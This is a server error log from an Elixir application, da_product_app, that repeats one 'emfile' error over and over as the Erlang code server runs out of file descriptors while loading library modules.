[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.844000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.845000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.848000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.849000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.850000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.851000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.851000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.851000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.852000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.853000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
